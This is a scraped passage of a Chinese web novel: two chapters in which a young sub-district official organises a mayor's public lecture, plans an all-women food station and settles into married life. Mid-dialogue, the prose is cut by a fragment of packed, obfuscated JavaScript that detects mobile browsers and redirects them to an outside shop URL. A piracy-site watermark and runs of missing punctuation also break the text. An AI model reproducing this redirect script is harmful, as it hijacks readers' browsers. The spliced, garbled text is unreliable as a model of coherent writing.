转身进屋时,正巧从栅栏的缝隙里,瞥见那小叶主任在吴团长的屁股上拍了一巴掌,而后被吴团长攥着手腕,拽回屋去了。 常海棠叹了一口气,难怪人家能天天洗床单呢! 作者有话要说 一百个红包,明天见~ 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第 76 章 人民大课堂,市长... 第76章人民大课堂,市长 周四清晨,六点,起床号吹响,吴峥嵘准时起床。 六点半,跟军代室的同事汇合出早操。 七点,去食堂吃早饭,与秦祥核对一天的工作安排。 七点二十,打早饭回家,喊小叶主任起床。 小叶主任常年七点半起床,八点上班,在娘家的时候由常月娥同志负责叫起和早饭。 结婚以后,这项艰巨的任务就落在了吴峥嵘身上。 而叶满枝休婚假时惦记工作,等到真的该去工作了,她又赖在床上不想上班。 她在心里给自己做思想工作——虽然婚假结束了,但是只要干出成绩,坐稳副主任的位置,她就可以迎来一个超长假期,能坐火车,也能看大海啦! 所以,当吴峥嵘提着早饭回家时,只喊了一声就成功完成了叫起服务。 并不如丈母娘所说的那般难搞。 叶满枝拿出两个网兜,将其中一个给了他,叮嘱道:“这里面是喜糖,你给没去参加婚礼的同事分一分。” “嗯。” 吴峥嵘早上还有工作,并没在家逗留太久,拎过喜糖,在她指尖上重重攥了一下,便出门上班去了。 叶满枝吃过早饭,也拎着自己那个网兜上班,从这里经过大院东门到街道办,时间能缩短三分钟。 这个重大发现,让她心情又好了几分,以后可以多睡三分钟了! 人民公园的踩踏新闻已经传到了街道办,张勤简是老油条,有一定的政治敏感度,叶满枝想到的问题,他也能想到。 人民大课堂虽是叶满枝的提议,市长也是她请来的。 但这也算是集体的功劳和荣誉,他当然不可能让这种好事流产。 因此,在小叶主任休假的这两天,张勤简吸取了人民公园的教训,安排人手去体育场搞了安全指示牌,为每个居委会划分了具体的集会区域,到时候群众要分批入场。 警力由区里安排,街道办接下来的任务就是尽量动员群众去听课。 体育场能容纳几千人,若是到时候操场上空荡荡的,大家面子上都不好看。 “小叶干部,市长讲课跟我们有啥关系啊?不去行不行?” 叶满枝举着大喇叭说:“行啊,这次活动全凭自愿,不想去的同志可以跟居民小组长报备一声,到时候就不给你留位置了。 “咱们街道上将近两万居民,人民体育场顶多能容纳四千人,这就相当于五个人里才能有一个人去听课,名额特别宝贵,不想去的同志一定要找小组长说一声,将名额留给其他同志! 又有人问:“叶主任,我思想挺好的,不用教育。市长要讲些啥呀?名额咋那么抢手呢? 叶满枝笑道:“市长给群众讲课,当然要讲贴近群众生活的呀。嫂子,别管市长讲啥,我就问你,你之前见过市长没? “哈哈,咱哪有机会见市长啊! “既然没见过,那大家就别管他讲什么了,咱就去看看市长长啥样,多大年纪,讲话有没有水平。等到过年过节跟亲戚聚会的时候,咱光明街的居民,就比其他人有话聊!市长上任这么久了,只来咱光明街给居民们当过老师,讲过课,这种荣誉在全市也是独一份的! 居民们交头接耳讨论的时候,刘金宝在一旁敲边鼓。 “别说大家没见过市长,咱街道这些干部也没见过呀!这次能把市长请来,是叶副主任给市长写了信,说咱全街居民都期待他来讲话,这才有了明天的大课堂! “大家在家围着灶台打转,还不如带着孩子去体育场长长见识呢!人民体育场装扮得可气派了,到时候不但能见到市长,还能跟着几千人一起上课,这样的热闹几年也遇不到一次呀! 市长要讲什么内容不重要,重要的是挑起群众的好奇心,利用大家的从众心理,先将人召集去体育场。 别管最初的动机是什么,只要去听课了,总能有些收获。 第二居委会的居民,被他俩鼓动得渐渐动摇了心思,反正只用一上午的时间,去看看热闹耽误不了多少工夫,主要是能见到市长啊!以后可以在亲戚间吹牛了! “小叶主任,市长只来讲课啊,能给我们安排个工作不? 叶满枝和刘金宝:“:::::: 叶满枝心说,我还想让市长直接给我升官呢,但这不现实啊! 她面不改色道:“不用市长安排,咱街道就有能力安排工作,大娘,谁要找工作啊? “我二闺女。” “那得说说你闺女的具体情况比如多大年纪身体是否健康什么学历有什么特长之前是做什么工作的……哪怕是市长也不可能不问青红皂白就给人安排工作。咱们街道上也有一些用工名额这两天干部们比较忙等市长讲完课以后你来街道办一趟。” 叶满枝就这样回答着居民们各种千奇百怪的问题。 军工大院里已经通过广播播报了市长讲课的通知和注意事项。 街道办的干部们主要在大大小小的胡同巷道里做动员。 这一天街道和居委会的所有人都忙到晚上九点多才下班。 叶满枝到家时连晚饭都没吃只简单洗漱一番就累得呼呼大睡了衣服都是吴峥嵘帮她脱的。 尽管已经挨家挨户通知到位但她心里其实一直没着没落。 常做基层工作的人都知道别对居民的口头保证抱有太大希望。 许多人是因为抹不开面子才当面答应的事到临头的时候人家该不去还是不去。 所以次日早上她吃过早饭就跑去第一居委会瞧见有居民搬着板凳结伴前往人民体育场她心里真是狠狠松了一口气! 因着给每个居委会通知的活动时间不同居民们是分批次前往体育场的。 一整个早上不断有居民提着板凳上街。 这个画面简直成了光明街的一道崭新的风景线! 报社派来的记者将居民们抱着板凳排着长龙 而这张随手一拍的相片先是刊登在《滨江日报》上后来被《人民日报》和各大国字头报刊转载再后来参加“全国社会主义新闻摄影展览”还一举获得了金奖。 成了社会主义社会人民生活积极向上的典型代表被传播转载了数十年。 当然这些都是后话了。 此时的叶满枝尚不知道自己所在的光明街会被一张相片带火。 她正提着板凳与最后一批居民一起前往体育场呢! 前方长长的队伍特别壮观规模并不比那天的游行队伍小。 经过其他街道被路人问起时居民们还要不断跟人家显摆。 “我们是去听市长讲课 的!什么,你也想听啊?那可能不行,只有我们光明街的居民可以参加。凭啥只有我们能参加?活动是我们街道组织的,当然只有我们能参加啦!” “市长只给我们光明街的讲课,听课名额都是有数的,我们街上五个人里只有一个能去听课,名额可宝贵啦!” 叶满枝听着他们的炫耀,笑得直捂脸。 平时看不出来,她们街上的居民还挺有集体荣誉感和虚荣心的。 体育场里这会儿已经坐满了人,操场最前方搭了一个高高的讲台,上方的红色横幅写着“滨江市光明街社会主义思想政治教育第一课”。 各种横额、标语、彩旗、大字报,挂满了大半个操场。 每个区域都有街道干部、民警、居委会委员、居民小组长,以及街道积极分子负责维持秩序。 叶满枝不得不承认,张勤简的这项安排还是很有先见之明的。 这么多人一起开会,能安安稳稳,不出乱子,就算是成功一半了。 大课堂十点开课,市长在全场震天的掌声中走上讲台,语气热情而亲切地与群众问了好。 他心里对现场情况还是比较满意的。 说是人民大课堂,就真的是人民大课堂。 他刚才特意看了一下观众席的最前排,全是衣着朴素的基层群众,多数是老人、妇女和儿童。 穿着平整衬衫和干部服的干部们,都在场外或观众席的最后两排。 正阳区没有本末倒置,走形式走过场,这让他很欣慰。 于是,面对真正的基层群众,市长讲课的情绪也就更饱满,更热情了! 他讲课的主题,是从光明街提供的几个选题中挑选的,围绕《社会主义是唯一正确的道路》展开。 除了介绍什么是社会主义,社会主义的特征,还从工业方面、市政方面,以及人民生活方面,举例说明了社会主义的优越性。 市长沉稳有力的声音,通过操场四周的大喇叭,传到在场每一个居民耳中。 对于很多居民来说,这样的课堂,确实是他们的人生第一课。 原本只是跟来看热闹的人,也渐渐被市长的讲课内容吸引,目不转睛地盯着讲台的方向。 叶满枝与同事们坐在最后一排,一边记 笔记,一边在心里感叹,市长同志好有水平。 有句话叫射箭要看靶子,谈话要看听众。 她相信市长平时与干部们讲话时,应该不会使用这么多俗语、方言、大白话。 但是他给群众上课的内容通俗易懂,基本没有普通人难以理解的专业术语,哪怕是没读过书的人,也能听懂他在讲什么。 叶满枝觉得市长这样特别好,算是给他们的人民大课堂打了样。 讲课的目的不是展现你的才华和学识,而是为了让群众听懂和接受。 感觉市长的讲话快要接近尾声时,她连忙往第五居委会所在的区域看去,正好与常月娥望过来的视线对上。 常月娥看到闺女的手势后,将抱了一上午的布袋子打开,从里面捧出两盆串儿红来。 沈亮妹见她鼓鼓叨叨,把串儿红从花土里拔了出来,心疼地说:“妈,就连盆一起送上去呗!” “万一人家觉得这盆里有炸弹,不让上台呢!连盆带土一起送过去,人家民警在台下就把你拦下来了。” 常月娥没搭理她,将一捧串儿红交给旁边的孙子麦多。 “在家咋跟你说的,还记着吧?” 麦多握着花,忐忑地点点头。 “嗯,等那个爷爷讲完了,我就把花送上去。” 沈亮妹没想到小姑子会给儿子安排这么重要的任务,心里比麦多这个当事人还紧张。 “儿子,你可轻点拿,别把花折断了!妈,要不让小妹替他去吧?麦多也太小了。” 常月娥轻斥:“小什么小!咱麦多今年就要上小学了,到时候去学校,让同学和老师知道他给市长献过花,还说过话,那不得给麦多一个班长当当啊!这是多好的机会,要不是来芽当了副主任,这种露脸的好事,哪能轮到咱家孩子!” 麦多小大人似的点头说:“妈,你不懂,我奶念过书,咱们听我奶的!” 沈亮妹:“……” 她没念过书就不能发表意见啦? 她最近也报名去念扫盲班了呀! 台上的讲话已经接近尾声了,市长与群众挥挥手就要鞠躬离场。 讲台旁的台阶上,蹬蹬蹬跑上来一个小男孩。 市长愣了一秒,就很快露出亲切微笑。 麦多被台下那么多双眼睛盯着心里紧张到极点不过小姑只教给他一句话他虽然紧张但也没忘了完成任务。 他将手里的串儿红往前一递说:“爷爷这花是我爸爸种的送给你!” 听到这个爷爷说谢谢还摸了他的脑袋麦多不好意思地挠挠头喊了声“爷爷再见”又蹬蹬蹬地跑下台了。 市长捧着一捧串儿红心里哭笑不得。 他以前也被人献过花有塑料假花也有鲜花。 但收到串儿红还是第一次! 这种花是市政花卉马路边花坛里多是串儿红。 手里这捧花的根系上还沾着泥土那孩子要是不说是他爸种的他还以为是在路边随手薅的呢! 市长拿着花感叹基层群众真是淳朴啊! 他举起串儿红与台下的群众挥了挥在全场的掌声以及大合唱《歌唱祖国》的歌声中 活动虽是街道组织的但叶满枝和张勤简这样的小干部根本凑不到市长面前。 只能跟在区委书记和区长身后一起送市长离开。 领导离开后他俩还得折返回去引导疏散群众。 只有所有人都安全离场今天才算圆满完成任务。 然而快要走到出口时市人委办公厅的陈主任跟穆兰说了句什么而后穆兰转身冲叶满枝招招手。 见状叶满枝赶紧小跑过去只听穆区长介绍道:“市长这位就是给您写信的叶满枝同志现在是咱们光明街道办事处的副主任年轻人初生牛犊不怕虎刚上任没几天就敢给您写信了。” 市长点点头笑道:“我对小叶同志还有印象上次见面她还是在自由市场上维持秩序的年轻基层干部这次已经是街道副主任了。” 区委吕书记是第一次见到叶满枝本人但因着她敢给市长写信的勇气他也抽空了解了一下这个年轻女干部的情况。 在她过分年轻的脸上瞟了一眼吕书记笑着说:“叶满枝同志是区里今年刚提拔的青年干部之一有革命精神政治素质过硬是区里响应市委号召培养的第一批后备干部。” 市长颔首说:“正阳区在任用年轻干部这方面很不拘一格。从全市范围来看 叶满枝同志可能是最年轻的街道主任了。” 叶满枝本来没想多话的,但她没听出市长这话到底是褒是贬。万一他不同意区里大胆使用年轻干部,那她不用等到年底考核,就可以火速下台了! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583532|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她在心里斟酌了两秒,刻意露出不好意思的表情,尴尬笑道:“市长,我现在只是代理副主任,行政等级还是25级呢,跟其他街道的副主任不能比。等到年底通过了区里的考核,我才能当上副主任,现在还不算是街道副主任呢!” 市长笑了笑说:“虽然是代理副主任,但工作搞得有声有色,以后这种对人民群众有益处的活动要多组织,市里向来是支持的。” 叶满枝谦虚道:“这次人民大课堂开课,是光明街道办集体的结晶,也得到了区领导的鼎力支持。我本身参加工作的时间不长,政治学习的机会也不多,理论水平不足以给街道群众上课。所以才与张勤简主任商量了一下,邀请市里和区里的各位领导,来人民大课堂宣讲,也算是博采众长,弥补我自身的不足吧。” 市长能与她这样的基层小干部交谈几句,就已经很不错了。 进行更有深度的谈话是不可能的。 叶满枝简单说了几句,就跟着区领导将市长送上了车。 离开前,穆兰将叶满枝单独喊了过去。 “你刚才表现不错,我之前还担心你太年轻,容易贪功冒进。人民大课堂是怎么回事,区领导心里都有数,老张是主任,你要尊重和配合他的工作,对外也要维护班子团结。想要把工作开展起来,你离不开老张的支持。” 叶满枝刚与市长说过话,脑子里还在沸腾激动呢! 穆区长的话,她其实没太听懂其中深意,只顾着点头答应了。 等到从体育场离开,回家复盘全天工作的时候,她才渐渐从穆区长的话里,琢磨出一点滋味。 她虽然阅历有限,对那番话的理解也许不到位,但不能吃独食的道理,她还是懂的。 一张大饼不能让她一个人吃了,总得给其他人分点。 连区委书记都知道,给市长的信是她写的,那她举办这次活动的目的已经达到了。 年底总结时,这就是她的工作成绩之一。 想通了这一点,次日去上班的时候,她就 找到了张勤简,故作烦恼地说:“主任,大课堂的第一课虽然讲完了,但咱总不能只讲一课就结束吧?是不是还得多开几课?” “那当然,咱们要借着市长讲课的东风,多邀请几位区里和市里的领导。” 叶满枝叹气说:“我是咋把市长请来的,你是清楚的。市长能看到我的信,其他人却未必搭理我。我在市里和区里都没啥人脉,主任,要不邀请其他领导的工作,你多费费心吧?” 张勤简昨天还在琢磨,怎么想办法把这项工作揽过来。 有了市长打出的头阵,邀请其他领导就相对容易许多了,还能趁此机会跟上级领导拉拉关系。 没想到不等他开口,叶满枝就主动放手了! “这么重要的工作,你就撂挑子了?” “也不算撂挑子,关键是邀请领导得乘胜追击。你也知道我现在是军属,我爱人因为工作原因,好几年没探望过父母了,这回我们结婚,无论如何得去探亲一次……” 张勤简:“嗯,探望父母是正事。” “哎,我是第一次见公婆,心里还怪紧张的,”叶满枝趁机跟他请了假,“我打算从下个月初请探亲假,大概要20天吧。” 张勤简愣道:“这么长时间?” “可不嘛,他父母工作的地方挺远的,光是花费在路上的时间,就得七八天了。”叶满枝再次叹气,现出新婚小媳妇的烦恼,“便民饮食服务站的筹建工作还没完成,我想在探亲之前,把服务站搞起来。主任,邀请其他领导上课的工作,你多费心吧。” 张勤简顺势应下:“那行,你专心弄服务站,其他工作我帮你完成。” 叶满枝将后续工作给了出去,虽然心里也有遗憾,但仔细想想,除非她能请到省里的领导,否则市长的讲课就是人民大课堂的最高光时刻。 随着课程次数的增多,领导职位的降级,居民们对大课堂的新鲜感和好奇心也会随之降低。 她打算经常为群众开课,给大家提供学习机会,但之后的课堂规模肯定会越来越小的。 叶满枝自我安慰了半天,去看过刘金宝为服务站找的房子以后,很快就对外张贴了招工启事。 招聘厨师、采购和服务员。 至于白案师傅,她暂时没写上去 ,四嫂沈亮妹在话剧团学徒的时候,学的就是白案,她面食的手艺其实还不错,只是国营饭店和食堂都满员了,很少有临时招人的,她没机会去大单位上班。 赵二贺在临近下班的时候,把招工启事贴到了街道办宣传栏上。 叶满枝原以为明天才会有人上门应聘。 结果,她都下班回家了,新调来接替魏珍的郎庆红,还有光明街的妇女主任于紫阳,相携来16号院串门了。 她俩是为了饮食服务站的招工工作而来的。 叶满枝以为她们有推荐的人选,笑道:“招工启事刚贴出去,你们就来了,这速度也太快了! “哎,不快不行,郎庆红拉着她的手笑,“万一你一晚上就把人员招齐了,我俩这话就没法开口了。 “什么事啊? 妇女主任于紫阳说:“叶主任,咱街上的妇女工作不好做,这一点你是知道的,很多女同志由于性别和学历原因,一直不好找工作。我看做饭和服务员的工作,无论男女都能做,尤其是妇女同志,有几个不会做饭的?咱这饮食服务站能不能全都招聘女同志? “哈哈,咱们先坐下慢慢聊。 叶满枝连忙将人请进院子。 她是第一次在新家招待客人,一时不知该请客人去哪里谈话。 大家待客时,通常会将客人请进正屋聊天。 但她家正屋里的床有两米多,要是被同事看到那张床,她以后就不用在单位见人了! 至于书房和她的浴室,那就更没谱儿了。 军代表的书房,甭管有没有机密文件,都不能让外人进去。 她思前想后,索性在院子里放了三把椅子,仗着现在天气渐渐热了,让同事们在院子里乘凉谈话。 吴峥嵘回家时,见到的就是他媳妇过于简陋的待客之道。 三把椅子,一把花生,除此之外,就没有其他东西了。 由于没有合适的桌子,连杯茶水都没给人家泡。 他稍一琢磨,就能猜到她不请人进屋的原因,唇角忍不住带出笑意。 不过,夏天可以在院子里待客,到了冬天怎么办? 以后小叶主任要是当了区长市长什么的,总不能仍然这样招待同事吧? 吴峥嵘心想,周末可以先打张矮桌,即使在院子里待客,也要有个桌子供客人放茶杯。 现在这样太不体面了。 作者有话要说 一百个红包,明天见~ 第 77 章 三八便民服务站 第77章三八便民服务站 郎庆红和于紫阳的要求,其实不难实现。 服务站是街道开的,招什么人全由她们说了算。 可是,叶满枝比较担心掌勺大厨的人选。 “于主任,给更多妇女同志提供工作机会,我当然支持,但是饮食服务站是自负盈亏的,如果经营不善,可能用不了一个月就倒闭了……” 于紫阳“小叶主任,你是啥意思就直接说吧,咱们一起商量商量。” “服务站与饭店一样,要经营小炒,那么饭菜口味就不能太家常,也不能太像食堂的大锅饭,否则人家为什么要花钱下馆子呢?”叶满枝笑道,“所以咱们必须招一名有正经手艺的厨师,最好能有几道拿手菜。” 她自己就是消费者,光明街上的四家饭店中,她只喜欢去一家公私合营的。 其余三家饭菜口味一般,她很少光顾。 这就能看出厨师的重要性了。 叶满枝继续道“于主任、郎姐,你俩这提议挺好,在同等条件下,可以优先招聘女同志,你们有女厨师推荐不?” 郎庆红摇摇头“……” 很多手艺人敝帚自珍,且传男不传女,想找专业的女厨师并不容易。 “小叶主任,除了厨师,其他人员全招聘女同志行不行?”于紫阳问。 她虽然想给女同志争取工作机会,但也知道工作的前提是服务站能一直开下去。 若是饭菜口味不行,那其他全都白搭。 “可以啊,我明天张贴一份只招女同志的启示,如果有合适的人选,最好连厨师也用女的。”叶满枝语气略显兴奋地说,“除了纺织厂,市里好像还没有全用女同志组成的队伍,之前听说汽车公司想组建一支女子车队,但女司机学车也要一段时间,最近又没动静了……” 于紫阳立即接话“咱们要是能弄一个全由女同志组成的服务站,会不会是全市第一个女子单位?” 哪怕是女工最多的纺织厂,也不是纯粹的女子工厂,厂里还有很多男同志。 郎庆红摇头说“第一个女子单位就别想了,我在乡镇工作的时候,听说过不少妇女劳动小组,咱们可以弄第一个女子服务站,或女子饭店。” 叶满枝听着两人的讨论,兀自出了一会儿神。 若是全员招聘女同志,她们就可以给服务站取名“三八便民饮食服务站”了。 突出它的特殊性。 虽然不确定是不是全市第一个,但肯定是正阳区的第一个全部由妇女创办的单位。 穆区长如今正是分管妇女工作的副区长。 若是能在光明街上开办“三八服务站”,一方面可以支持穆区长的工作,另一方面,第一家由妇女创办的单位,肯定有些特殊意义,万一有人举报她们这是开饭店,区里兴许能想办法把她们保下来。 三人围绕这个服务站讨论到天黑,每人喝了两瓶汽水,才终于散了场。 叶满枝将客人送出门,提着空瓶子回屋时,吴峥嵘正拿着卷尺在过道间测量尺寸。 “还是你聪明!我都忘了可以给客人喝汽水了!”叶满枝将军代表同志大夸特夸了一通,又问,“你量什么呢?” 吴峥嵘跟她商量“你觉得把这里改成会客室怎么样?省得连个招待客人的地方都没有。” 这一片的房子都是统一坐北朝南,三室一厅的格局。 进门就是堂屋, 而后东西北各有一个房间。 隔壁苏工家里,在堂屋吃饭,西屋会客,另两个房间是卧室。 但吴峥嵘这个院子比其他人的院子小,主要就小在堂屋和北屋,宽度比其他院子窄了不少。 他自己住的时候,堂屋被他当成了过道,西屋被当成了书房,有人上门时,他就直接把人请到东屋去。 可是,如今娶了媳妇,情况又不太一样了。 小叶主任要跟其他领导家属交际,偶尔还要招待同事,总不能一直跟人在院子里说话。 叶满枝打量了一阵,摇头说“这过道已经够窄的了,要是摆上桌椅,咱俩平时通行都不方便,还是算了吧。” 吴峥嵘又提出第二套方案,“要不把北屋改成会客室?到时候我把墙上的玻璃换一下,能显得通透一些。” 按照原有的设计,进门正对的这堵墙,也就是堂屋和北屋之间的墙壁,其实是上面玻璃下面砖石的设计,能帮助室内增加采光。 但不知是哪任房主,将透明玻璃全都涂上了黄色油漆,不但阻隔了外人的视线,也将阳光全都挡住了。 叶满枝问“北屋变成会客室以后,我去哪里洗澡啊?” 那个小屋如今是她的浴室,她这几天刚爱上泡澡。 “你可以在咱们的卧室里洗,反正就是一个澡盆,放在哪里不一样?” 叶满枝瞪他一眼说“你想得美!” “你洗澡的时候我可以去书房。”吴峥嵘一脸正人君子相。 “那也不行!哪有在睡觉的地方洗澡的?” 其实麦多就在屋里洗澡,在屋里洗澡的人多的是。 但她觉得洗澡这件事,就像吃罐头。 以前好歹还有个拧开瓶盖的过程,若是改到卧室里洗澡,那就好比罐头下了生产线,连个瓶盖都没有,就直接送到他嘴边了。 那怎么能行! 见她不同意,吴峥嵘只好提出第三套方案,“那就在厨房旁边再盖一个小棚子吧,我把自来水引过去,你平时去那里洗澡,对外就说是放杂物的。” “后勤能让吗?” “只要不拆房子,后勤随你折腾。” 叶满枝心想,反正她家这院子空旷得像操场似的,再搭个棚子其实也没什么。 她拍拍面前的肩膀,鼓励道“要搞这么大的工程呢,军代表同志,辛苦你啦!” 原本按照两人的约定,工作日要做二休一,养精蓄锐,可是她觉得军代表同志也许要为会客室忙碌好几天,之后未必有精力做二,所以当晚她并没有休一,主动贴着他出操了。 次日早上,吹起床号的时候,她被吵得翻个身,而后隐约看到吴峥嵘好像从八斗橱的抽屉里拿了什么。 她当时实在太困了,瞧见了也只当没看见,翻个身继续睡。 等她吃过吴峥嵘带回来的早饭,准备锁门上班的时候,秦祥却带着两个小战士上门了。 两个小战士咧着嘴喊“嫂子好。” 而秦祥则比较上道,喊了声“叶主任”。 叶主任笑着问“你们怎么这时候来了?” “我们团长今天要去军区开会,顾不上家里的工程,我们先过来测量尺寸,估算一下需要购买的材料。” 吴峥嵘要去省军区的事,叶满枝知道,当天去当天就能回。 她以为这三人就是来做准备工作的,于是将人请进门,让他们自己忙活。 她还要去上班,就不在这边盯着了。 秦祥客气道“叶主任,你快去上班吧,这边有我看着,保证帮你办得妥妥的!14(< 叶满枝对他没什么不放心的,高高兴兴上班去了。 …… 她离开的时候,院子里还是光秃秃的大操场,然而,等她傍晚下班回家时,隔着老远就瞧见自家院子里,新起了一座红色小砖房。 她揉揉眼睛,快步跑过去,打开了门锁。 院儿里跟早上离开时没什么不同,除了这座小砖房。 她围着小砖房打量一阵,想起什么,又赶紧打开堂屋的门锁。 房门拉开,映入眼帘的是一片明亮的玻璃墙,木窗框上的油漆玻璃全都不见啦! 砖房的水泥和木窗框上的腻子还没干透,她没敢凑上去触碰。 可是,一个白天的时间就搞好了,这是什么速度? 若是能把“三八便民饮食服务站”搞得有声有色,打出名气,也能算是一项不错的成绩吧? 她本就对这个服务站挺上心,被秦祥刺激以后,那就更认真了。 次日一大早,她就往区里跑了一趟,跟穆区长介绍了“三八服务站”的设想。 最主要的是,想从领导这里讨点好处,要点政策回去。 毕竟这也是支持妇女工作嘛。 然而,穆兰听后却皱眉问“你们搞的这个服务站,是不是饭店啊?” “不是不是,就是服务站。” 穆兰哼道“在我面前,你就别打马虎眼了,饭店和服务站我还能分不清么?饭店可是由商业局统一管理的,你们干黄了倒还罢了,万一干出了名堂,商业局肯定会来区里告状的!” “我就是怕他们告状,才想来跟您报备,请您支持一下嘛!”叶满枝笑吟吟道,“我们这可是全部由妇女创办的服务站,多有意义啊!” “确实有意义,也很有标志性,但是,你可要想清楚,万一商业局的人告到区里来,区领导未必会站到你们那边。大不了就把服务站改成饭店,让服务站的原班人马,转到商业局去。反正肉烂在锅里了,甭管由谁负责,都是区里的成绩。” 叶满枝“……” 她怎么就没想到这种可能呢? 万一区领导向着商业局说话,把他们的服务站抢走了。 到时候区里、商业局、甚至是服务站职工,都没有损失,唯一有损失的就是将服务站拉扯起来的光明街道办。 按照穆区长这意思,被摘桃子几乎是板上钉钉的事。 除非服务站被她干黄了…… 叶满枝脑袋里嗡嗡的,事情若是真的这样发展,那她最后就是竹篮打水一场空啊! 可是,难得能有一个为居民增加就业岗位的机会,如果真就这样放弃了,她心里又会觉得非常可惜。 穆区长的答复实在让她左右为难。 她从区里回去以后,又寻思了两天,觉得这事恐怕真的不能心存侥幸。 实在不行就只能算了,反正于紫阳和郎庆红那边也没找到合适的女厨师,这个全女子服务站未必能建得起来。 天气炎热,她又因为犯愁工作,神色恹恹,吃不下饭。 四嫂沈亮妹见她这副样子,忍不住猜测道“小妹,你这几天食欲大减,不会是怀了吧?” “哪有这么快!”黄黎喝了两口绿豆汤,提醒道,“他俩结婚还不到半个月,估计是中暑了。” 沈亮妹啧了一声说“你又没生过孩子,哪懂这些啊!有的人上身半个月就有反应了。” 她其实想说叶来芽已经跟妹夫领证一个月了,万一刚领证就睡了,那怀孕也很正常啊。 不过,这话她不敢当着婆婆的面说,若是真说了,她婆婆得炸! 黄黎无缘无故又被她噎了一句,心里有点不痛快。 她没有亲婆婆,常月娥对继子的子嗣问题也从来不催,其实她这两年日子过得还不错。 唯一让人闹心的,就是这个妯娌,仗着有个麦多,总在她面前找存在感。 “我没生过孩子,但书还是看过的,没见哪本书上说,结婚十来天就怀孕有反应的。” “什么书会说生孩子的事?这也太不正经了。” “……” 叶满枝一边吃饭,一边观察两个嫂子,心说,幸好 她不用跟婆婆和妯娌住在一起。 ▲鹿子草提醒您《五十年代军工大院》第一时间在[笔趣。阁,记住[(. 她这俩嫂子,一个有文化没孩子,一个有孩子没文化,住在一个屋檐下,有事没事就要相互刺上两句的。 叶满枝打岔说“四嫂,你之前不是当过白案学徒么?认不认识手艺好的女厨师啊?” “不认识,我在话剧团食堂就没见过女厨师,灶上的大师傅都是男的,女的一般都去学白案了。主要是那大铁锅又大又沉,要是没有一把子力气,少有女的能去颠勺。”沈亮妹试探着问,“来芽,我听说街道在招厨师,那你们招不招白案啊?我面食做得可好了。” 叶满枝原本打算让四嫂去做白案师傅的,可是服务站能否建起来还是两说,现在已经不适合开口了。 “先招女厨师吧,找到厨师以后,再招别的。” “嗐,女厨师可不好请,有本事的早就有工作了。”沈亮妹撺掇道,“来芽,咱街上已经有好几家饭店了,再开一家有啥意思呀!还不如卖点面食呢,包子饺子馄饨馒头啥的,哎,我还认识一个大姐,那大饼烙得可好了,在咱院儿里都有名,她烙的饼,拉开就是一根长面条,那面揉的呀,可厉害了……” 沈亮妹絮絮叨叨介绍着她知道的几个狠人和绝活。 絮叨得常月娥和黄大仙全都下了桌,她还意犹未尽。 只有叶满枝捧场地坐在原地,认真听她口沫横飞地介绍。 “嫂子,你说的这些大姐,都有工作么?” “有啊。” 叶满枝“……” 真是浪费她的时间。 人家有工作了,根本不可能来服务站上班。 亏她还从头到尾听完了! 沈亮妹又接着说“不过,我听说孔大姐的工作,给她闺女接了班,她最近好像回家呆着了。孔大姐就是烙饼贼厉害那个!” 叶满枝点点头,从娘家给军代表同志带了一罐子绿豆汤,就溜溜达达回家去了。 她觉得四嫂给她提供了一个新思路。 既然找不到炒菜师傅,那就干脆别找了,索性多招聘几个白案,专门做面食也行啊! 而且街上现有的那四家饭店都不经营早餐,她们服务站要是能卖点油条、包子、馄饨,再磨点豆浆,熬点稀粥,也算是为来不及做早餐的居民,提供便民服务了。 白天的话,开个窗口卖馒头、烧饼,大厅里卖饺子和馄饨。 不但能有些进账,还不用太高超的手艺,会做面食的家庭妇女就能干。 她出神的时候,吴峥嵘已经把一罐子绿豆汤全喝了。 “你在家里连吃带拿,给咱妈交伙食费了么?” “没有,但我每个月给我妈5块钱零花钱。” 叶满枝上班以后,每个月都给常月娥5块钱。 她想让妈妈有点私房钱。 “零花是零花,伙食费是伙食费,你明天把钱和票送过去吧。”吴峥嵘洗了罐头瓶子,重新拿起锉刀修整相框的边缘,“你要先放哪张相片?拿过来试试。” 叶满枝赶紧将他俩在婚礼上并肩敬酒的相片递了过去。 同时在心里感叹,家里有个会做手工的男人,真省钱啊。 他俩举办婚礼那天,秦祥帮他们拍了十多张相片。 叶满枝收到以后,对其中四张特别满意,但她只有一个相框了,就准备四选一,挑一张摆在外面,其他的放进相册里。 在她挑了半晚上,还没有决断的时候,吴峥嵘让她别挑了,声称 他可以再做三个。 相框在商店里卖得可贵了, 这种装大相片的相框,要卖到一块多。 她舍不得为几张相片花那么多钱,但如果吴峥嵘能自己做的话,那就另当别论了。 她将两人的第一张合影也找了出来,让军代表同志再做一个小号的,摆在他俩床头。 于是,吴小工这两天下班以后没干别的,光给她做相框了。 叶满枝双肘支在桌子上,盯着他把敬酒相片放了进去,满意地夸赞“军代表同志,这相框的做工比我在商店买的还好呢!” 又被灌了一碗迷魂汤的军代表同志笑了一下。 “你笑什么啊?” “我笑你求人办事的时候,嘴最甜。” 叶满枝纠正“我可没求你,这是你主动要求做的。” 她捧着相片欣赏了一阵,突然福至心灵地问“你说咱们买台照相机怎么样?我好不容易能去一次南方,下次不知道要等到什么时候,我想多拍,嗯,多跟你拍几张相片!” 主要是她想拍相片,拍火车、轮船和大海,但她想了想,还是把吴小工也加上了。 吴峥嵘偶尔可以借用军代室的照相机,可那毕竟是单位的东西,他俩总不可能带走二十天吧? 那样影响多不好啊! 吴峥嵘没什么所谓地说“可以,你想买就买吧。” 闻言,叶满枝连忙放下相片,跑去翻八斗橱的抽屉。 她这阵子忙得很,还没仔细盘算过他俩的财产呢。 照相机应该挺贵的吧?不知道他俩的钱够不够用。 她拉开抽屉,先把自己的两本存折挑了出来,她闭着眼睛都知道那上面有多少钱。 一张是存了三年定期的800块,这是吴家当初给的见面礼和聘礼,被常月娥存进她户头了。 一张是活期存折,是她上班以来的所有存款,一共170块。 她每月30块工资,5块给常月娥零花,剩下的工资她就干攒着,平时吃老叶喝老叶的,其实没啥花销,最大的开销就是储藏在地窖里的那些东西。 她把自己的存折拿出来,又去翻吴峥嵘的存折,一共三张。 